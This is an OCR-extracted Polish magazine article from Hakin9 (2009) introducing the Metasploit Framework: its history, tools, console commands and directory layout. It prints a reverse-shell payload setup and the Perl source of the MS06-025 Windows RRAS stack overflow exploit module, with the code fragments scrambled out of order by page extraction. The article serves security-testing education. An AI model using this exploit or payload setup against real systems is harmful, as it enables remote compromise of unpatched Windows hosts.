2009.04_Metasploit Framework.pdf

(806 KB) Pobierz
439853446 UNPDF
ATAK
GRZEGORZ GAŁĘZOWSKI
Metasploit
Framework
Stopień trudności
Wytworzenie idealnego oprogramowania wciąż pozostaje
marzeniem trudnym do zrealizowania. Pomimo rygorystycznego
i systematycznego testowania, większość zarówno dużych, jak i
nawet małych programów zawiera duże liczby błędów. Przyczyną
tego jest złożoność ich kodów źródłowych.
linijek może zawierać dziesiątki rozkazów
umożliwiających wystąpienie tysięcy
różnych błędów. Najgorsza sytuacja występuje
w przypadku programów kontrolujących
krytyczne procesy. Kod takiej aplikacji może
zawierać od dziesiątków do milionów linii kodu
źródłowego. Aplikacja taka może podjąć błędną
decyzję, gdy przypadkowy układ sygnałów, który
do niej doprowadzi, nie został dostatecznie
przetestowany. Programista mógł prawidłowo
zaprojektować złą reakcję lub w ogóle nie
przewidzieć wystąpienia danej sytuacji. Ten
typ defektu programu jest najtrudniejszy do
całkowitego wyeliminowania.
Jak poważne konsekwencje mogą wywołać
źle napisane programy, niech posłużą temu
poniższe przykłady.
Niepowodzenia rakiet Patriot przy
przechwytywaniu irackich rakiet Scud
przypisano efektom nagromadzenia się
niedokładności w pracy wewnętrznego
zegara komputera. Komputer działał zgodnie
z przyjętymi założeniami – przewidywano, że
będzie on wyłączany i włączany dostatecznie
często, by kumulacja błędu nie była nigdy
niebezpieczna. Ponieważ został zastosowany
w sposób pierwotnie nieprzewidziany,
niewielka niedokładność stała się poważnym
problemem.
Jeden błędny bit w programie kontrolującym
lot rakiety Atlas, która wyniosła w przestrzeń
kosmiczną pierwszą amerykańską sondę
międzyplanetarną Mariner 1, spowodował jej
zejście z właściwego kursu. W konsekwencji
zarówno rakieta, jak i sonda uległy zniszczeniu
wkrótce po starcie.
Wytwarzane obecnie oprogramowanie staje
się coraz bardziej złożone i coraz trudniej jest
sprawić, aby było niezawodne. Testowanie kodu
umożliwia szybkie wykrywanie błędów, a także
kontrolę poprawnego funkcjonowania aplikacji.
Dlatego ważne jest, by dostatecznie dobrze
przetestować aplikację pod każdym względem,
szczególnie jeżeli od jej działania zależeć
będzie bezpieczeństwo i życie ludzi.
Z ARTYKUŁU
DOWIESZ SIĘ
czym jest ceniony pakiet
narzędzi hakerskich Metasploit
Framework,
jak na konkretnym przykładzie
używać tego pakietu do
przeprowadzania testu wykrycia
podatności na lukę RRAS Stack
Overflow w systemach MS
Windows.
Historia
Metasploit Framework (MSF)
Projekt Metasploit został pierwotnie stworzony
przez czterech programistów jako sieć
do testów bezpieczeństwa. Następnie był
stopniowo rozwijany w ramach licencji Perl.
Stabilna wersja produktu została wydana w
czerwcu 2004 roku. Od tego czasu rozwój
produktu oraz dodawanie nowych elementów
następuje bardzo szybko.
Projekt Metasploit powstał w ramach grupy
badawczej mającej zajmować się tworzeniem
narzędzi związanych z bezpieczeństwem
i lukami w systemach bezpieczeństwa.
Najbardziej znanym projektem tej grupy jest
oprogramowanie Metasploit Framework (MSF),
rozpowszechniane przez głównych autorów
CO POWINIENEŚ
WIEDZIEĆ
wskazana jest praktyczna
znajomość choćby podstaw
programowania w języku C++,
znajomość systemu
operacyjnego Linux lub MS
Windows.
42 HAKIN9
4/2009
P rogram zbudowany z zaledwie kilkuset
439853446.014.png 439853446.015.png 439853446.016.png 439853446.017.png 439853446.001.png
METASPLOIT FRAMEWORK
tego projektu, którymi są programiści
ukrywający się pod pseudonimami
Spoonm i HD Moore, na zasadach
otwartego kodu źródłowego.
MSF został pierwotnie napisany w
języku skryptowym Perl i obejmował
różnego rodzaju elementy napisane w
języku C, asembler i Python. Licencja
projektu została tak skonstruowana,
że – w ramach licencji GPL v2 i Perl
może być wykorzystywany zarówno
w projektach open-source, jak i
komercyjnych. Od wersji 3.0 MSF
jest całkowicie od nowa napisany w
języku Ruby i został wyposażony w
szeroką gamę interfejsów API. Licencja
tego produktu jest teraz bliższa
tym obowiązującym w przypadku
oprogramowania komercyjnego.
MSF można jednak wykorzystywać
do własnego użytku, zachowano
też prawo do swobodnego
rozpowszechniania. Zabronione jest
sprzedawanie MSF w jakiejkolwiek
formie oraz integracja w pakietach
komercyjnych (w oprogramowaniu,
urządzeniu czy też w innej formie).
Wprawdzie początkowo w ramach
tego projektu nie powstał żaden
system wsparcia dla programistów,
ale począwszy od wersji sytuacja się
zmieniła, a wbudowana pomoc ma
naprawdę szerokie możliwości.
Oprogramowanie MSF zostało
stworzone, by dostarczyć programistom
platformy do pisania oprogramowania
wyszukującego luki w systemach
bezpieczeństwa. Dzięki temu ułatwia
ono ludziom zawodowo zajmującym
się problemami bezpieczeństwa i
badaczom szybkie pisanie odpowiednich
narzędzi. Na najbardziej podstawowym
poziomie system MSF dostarcza
rozbudowanego interfejsu API
umożliwiającego określanie różnych
parametrów ataku wykrywającego
lukę. Wielu spośród jego komponentów
można używać wielokrotnie w różnych
zestawieniach. Przykładami mogą być
moduły generujące treść pakietów,
przetwarzające ją, generatory NOP,
biblioteki protokołów i procedury
szyfrujące. Oprogramowanie MSF
dostarcza szerokiego zestawu wydajnych
komponentów, których można używać
podczas programowania ataków
testowych. Aby ułatwić szybkie tworzenie
modułów i umożliwić ich wielokrotne
wykorzystywanie, wszystkie komponenty
pisane są w obiektowym języku Perl,
wykorzystującym dynamiczne ładowanie.
Celem MSF jest umożliwienie
ustawiania wartości parametrów
definiowanych przez użytkownika i
uruchamiania modułów testujących, tak
aby móc kontrolować, w jaki sposób atak
jest przeprowadzany.
Budowa
Metasploit Framework
Podstawowym elementem Metasploit
Framework (MSF) jest DataStore. Cały
Rysunek 1. Interfejs msfconsole w systemie Linux
Rysunek 2. Interfejs msfweb
4/2009
HAKIN9
43
439853446.002.png
ATAK
Listing 1. Wykorzystanie parametrów LPORT i LHOST
system jest logicznie podzielony na
globalne elementy i moduły składowania
danych.
Poniżej wymieniono najważniejsze
elementy w pakiecie Metasploit:
msf > setg LPORT 1234
LPORT -> 1234
msf > setg LHOST 192.168.10.10
LHOST -> 192.168.10.10
msf > setg PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf > use apache_chunked_win32
msf apache_chunked_win32(win32_reverse) > show options
Exploit and Payload Options
===========================
Exploit: Name Default Description
-------- ------ ------- ------------------
optional SSL Use SSL
required RHOST The target address
required RPORT 80 The target port
Payload: Name Default Description
-------- -------- ------- ------------------------------------------
optional EXITFUNC seh Exit technique: "process", "thread", "seh"
required LPORT 123 Local port to receive connection
required LHOST 192.168.10.10 Local address to receive connection
msfcli – interfejs poleceń, w którym
wydawane są komendy wraz z
opcjami,
msfconsole – shell systemowy MSF
(Rysunek 1). Oferuje dopełnianie
poleceń (ang. tab completion ),
msfdldebug – ładuje symbole
debugowania dla plików systemu MS
Windows,
msflogdump – program do
analizowania logów generowanych
przez MSF,
msfencode – testuje moduły
kodujące. Dzięki niemu można
zrozumieć kodowanie pakietów w
MSF,
msfpayload – umożliwia testowanie
pakietów generowanych przez moduł
kodujący,
msfpayload.cgi – to samo co
powyżej, tyle że w postaci programu
CGI, który może być wykonywany
z poziomu przeglądarki WWW po
uprzednim umieszczeniu na serwerze
Web,
msfpescan – narzędzie do
odnajdywania dopasowań opkodów
w plikach wykonywalnych Windows
PE. Opkody są wykorzystywane
jako instrukcje powrotne w czasie
przeskakiwania do kodu powłoki,
msfupdate – program aktualizacyjny.
Pobiera aktualizacje do
oprogramowania MSF, łączy się ze
stroną projektu przez protokół HTTPS.
msfweb – interfejs Metasploit w
formie strony WWW, dostępny dla
różnych przeglądarek internetowych
(Rysunek 2).
Rysunek 3. Strona Metasploit Opcode Database
Lista podstawowych komend Metasploit Framework
Lista podstawowych komend Metasploit Framework:
? – wyświetla pomoc z poziomu konsoli,
cd – zmiana katalogu roboczego,
exit – wyjście z konsoli,
help – pomoc dostępna z poziomu konsoli,
info – wyświetla szczegóły na temat payloadu lub exploita,
quit – wyjście z konsoli,
reload – przeładowanie payloadu lub exploita,
save – zapisanie konfiguracji na dysku,
setg – ustawienia globalne zmiennych środowiskowych,
show – wyświetla dostępne exploity i payloady,
unsetg – usuwa ustawienia globalnych zmiennych środowiskowych,
use – użyj wybranego exploita o określonej nazwie,
version – wyświetla informację o wersji.
Poszczególne katalogi dostępne poprzez
interfejs przechowują następujące
informacje:
/data – katalog plików związanych
z obsługą treści przesyłanej w
pakietach,
/docs – jak sama nazwa wskazuje,
jest to katalog dokumentacji. W tym
miejscu znajdziemy informacje na
44 HAKIN9 4/2009
439853446.003.png 439853446.004.png 439853446.005.png 439853446.006.png
 
METASPLOIT FRAMEWORK
Listing 2a. Windows RRAS Stack Overflow (Exploit, MS06-025)
##
# This ile is part of the Metasploit Framework and may be
redistributed
# according to the licenses deined in the Authors ield below.
In the
# case of an unknown or missing license, this ile defaults to
the same
# license as the core Framework (dual GPLv2 and Artistic). The
latest
# version of the Framework can always be obtained from
metasploit.com.
Access Service. Since the service is hosted inside svchost.exe,
a failed
exploit attempt can cause other system services to fail as
well. A valid
username and password is required to exploit this law on
Windows 2000.
When attacking XP SP1, the SMBPIPE option needs to be set to
'SRVSVC'.
}
),
##
'Refs' =>
[
[ 'BID', '18325' ],
[ 'CVE', '2006-2370' ],
[ 'OSVDB', '26437' ],
[ 'MSB', 'MS06-025' ]
],
package Msf::Exploit::rras_ms06_025;
use base "Msf::Exploit";
use strict;
use Pex::DCERPC;
use Pex::NDR;
my $advanced = {
'FragSize' => [ 256, 'The DCERPC fragment size' ],
'BindEvasion' => [ 0, 'IDS Evasion of the Bind request' ],
'DirectSMB' => [ 0, 'Use direct SMB (445/tcp)' ],
};
'DefaultTarget' => 0,
'Targets' =>
[
[ 'Automatic' ],
[ 'Windows 2000', 0x7571c1e4 ], # pop/pop/ret
[ 'Windows XP SP1', 0x7248d4cc ], # pop/pop/ret
],
my $info = {
'Name' => 'Microsoft RRAS MSO6-025 Stack Overlow',
'Version' => '$Revision: 1.1 $',
'Authors' =>
[
'Nicolas Pouvesle <nicolas.pouvesle [at] gmail.com>',
'H D Moore <hdm [at] metasploit.com>'
],
'Keys' => ['rras'],
'DisclosureDate' => 'Jun 13 2006',
};
sub new {
my ($class) = @_;
my $self = $class->SUPER::new( { 'Info' => $info, 'Advanced' =>
$advanced }, @_ );
return ($self);
}
'Arch' => ['x86'],
'OS' => [ 'win32', 'win2000', 'winxp' ],
'Priv' => 1,
'AutoOpts' => { 'EXITFUNC' => 'thread' },
'UserOpts' => {
'RHOST' => [ 1, 'ADDR', 'The target address' ],
sub Exploit {
my ($self) = @_;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];
# SMB connection options
'SMBUSER' => [ 0, 'DATA', 'The SMB username to connect with',
'' ],
'SMBPASS' => [ 0, 'DATA', 'The password for speciied SMB
username',''],
'SMBDOM' => [ 0, 'DATA', 'The domain for speciied SMB
username', '' ],
'SMBPIPE' => [ 1, 'DATA', 'The pipe name to use (2000=ROUTER,
XP=SRVSVC)', 'ROUTER' ],
},
my $FragSize = $self->GetVar('FragSize') || 256;
my $target = $self->Targets->[$target_idx];
my ( $res, $rpc );
if ( !$self->InitNops(128) ) {
$self->PrintLine("[*] Failed to initialize the nop module.");
return;
}
'Payload' => {
'Space' => 1104,
'BadChars' => "\x00",
'Keys' => ['+ws2ord'],
my $pipe = "\\" . $self->GetVar("SMBPIPE");
my $uuid = '20610036-fa22-11cf-9823-00a0c911e5df';
my $version = '1.0';
# sub esp, 4097 + inc esp makes stack happy
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
},
my $handle =
Pex::DCERPC::build_handle( $uuid, $version, 'ncacn_np',
$target_host,
'Description' => Pex::Text::Freeform(
qq{
This module exploits a stack overlow in the Windows Routing and
Remote
$pipe );
my $dce = Pex::DCERPC->new(
'handle' => $handle,
4/2009
HAKIN9
45
439853446.007.png 439853446.008.png 439853446.009.png
 
ATAK
temat obsługi interfejsów i narzędzi
MSF,
/encoders – zbiór modułów kodujących,
które zajmują się obsługą danych w
przesyłanych pakietach,
/exploits – przechowuje wszystkie
testowe moduły ataków,
/lib – biblioteki tworzące rdzeń MSF,
/extra – mniej potrzebne przy pracy
moduły Net-SSL i Term-ReadLine-Gnu
Perl,
/nops – katalog z modułami, które
generują bufory NOP (No Operation),
wykorzystywane w atakach do
zwiększenia ich „odporności”,
/payloads – moduły implementujące
różne akcje, które mogą zostać
wykonane w czasie ataku,
/sdk – ten katalog zawiera samouczek
omawiający sposoby pisania modułów
do nietypowych ataków,
/src – tutaj znajdziemy różne przykłady
i inne elementy wykorzystywane przez
MSF,
/tools – zbiór narzędzi Socket Ninja
i memdump. Socket Ninja jest
multiplekserowym menedżerem
gniazd, a program memdump pobiera
segmenty pamięci z działających
procesów Windows.
pomiędzy tymi dwoma grupami
pod względem funkcjonalności.
Wymienione aplikacje komercyjne
pozwalają w przyjazny sposób używać
graficznych interfejsów użytkownika
i posiadają szereg rozbudowanych
możliwości raportowania. Warto
jednak mieć na uwadze, że MSF
jest przede wszystkim platformą do
wykorzystania i opracowania nowych
modułów testujących bezpieczeństwo
aplikacji. Ponadto jest również
platformą do projektowania narzędzi
analitycznych, które umożliwiają badanie
i rozwój nowych technik testowania
bezpieczeństwa. Dlatego nie posiada tak
rozbudowanych graficznych interfejsów,
jak jego komercyjna konkurencja.
MSF konkuruje bezpośrednio z
takimi komercyjnymi produktami,
jak Immunity's CANVAS lub Core
Security Technology's Core Impact.
Jednakże istnieje zasadnicza różnica
Listing 2b. Windows RRAS Stack Overflow (Exploit, MS06-025)
'username' => $self->GetVar('SMBUSER'),
'password' => $self->GetVar('SMBPASS'),
'domain' => $self->GetVar('SMBDOM'),
'fragsize' => $self->GetVar('FragSize'),
'bindevasion' => $self->GetVar('BindEvasion'),
'directsmb' => $self->GetVar('DirectSMB'),
);
"\xe9\xb7\xfb\xff\xff" ;
} elsif( $target->[0] =~ /Windows XP/) {
$pattern =
pack( 'V', 1 ) .
pack( 'V', 0x49 ) .
Pex::Text::AlphaNumText(0x4c).
"\xeb\x06" .
Pex::Text::AlphaNumText(2).
pack( 'V', $target->[1] ) .
$shellcode;
if ( !$dce ) {
$self->PrintLine("[*] Could not bind to $handle");
return;
}
my $smb = $dce->{'_handles'}{$handle}{'connection'};
if ( $target->[0] =~ /Auto/ ) {
if ( $smb->PeerNativeOS eq 'Windows 5.0' ) {
$target = $self->Targets->[1];
$self->PrintLine('[*] Detected a Windows 2000 target...');
}
elsif ( $smb->PeerNativeOS eq 'Windows 5.1' ) {
$target = $self->Targets->[2];
$self->PrintLine('[*] Detected a Windows XP target...');
}
else {
$self->PrintLine( '[*] No target available : ' . $smb-
>PeerNativeOS()
} else {
self->PrintLine( '[*] No target available...');
return;
}
# need to produce an exception
my $request = $pattern . Pex::Text::AlphaNumText(0x4000 -
length($pattern));
my $len = length ($request);
my $stub =
Pex::NDR::Long( int( 0x20000 ) )
. Pex::NDR::Long( int( $len ) )
. $request
. Pex::NDR::Long( int( $len ) );
);
return;
}
}
my $pattern = '';
$self->PrintLine("[*] Sending request...");
my @response = $dce->request( $handle, 0x0C, $stub );
if (@response) {
$self->PrintLine('[*] RPC server responded with:');
foreach my $line (@response) {
$self->PrintLine( '[*] ' . $line );
}
$self->PrintLine('[*] This probably means that the system is
patched');
if ($target->[0] =~ /Windows 2000/) {
$pattern =
pack( 'V', 1 ) .
pack( 'V', 0x49 ) .
$shellcode .
"\xeb\x06" .
Pex::Text::AlphaNumText(2).
pack( 'V', $target->[1] ) .
}
return;
}
46 HAKIN9 4/2009
439853446.010.png 439853446.011.png 439853446.012.png 439853446.013.png
 
Zgłoś jeśli naruszono regulamin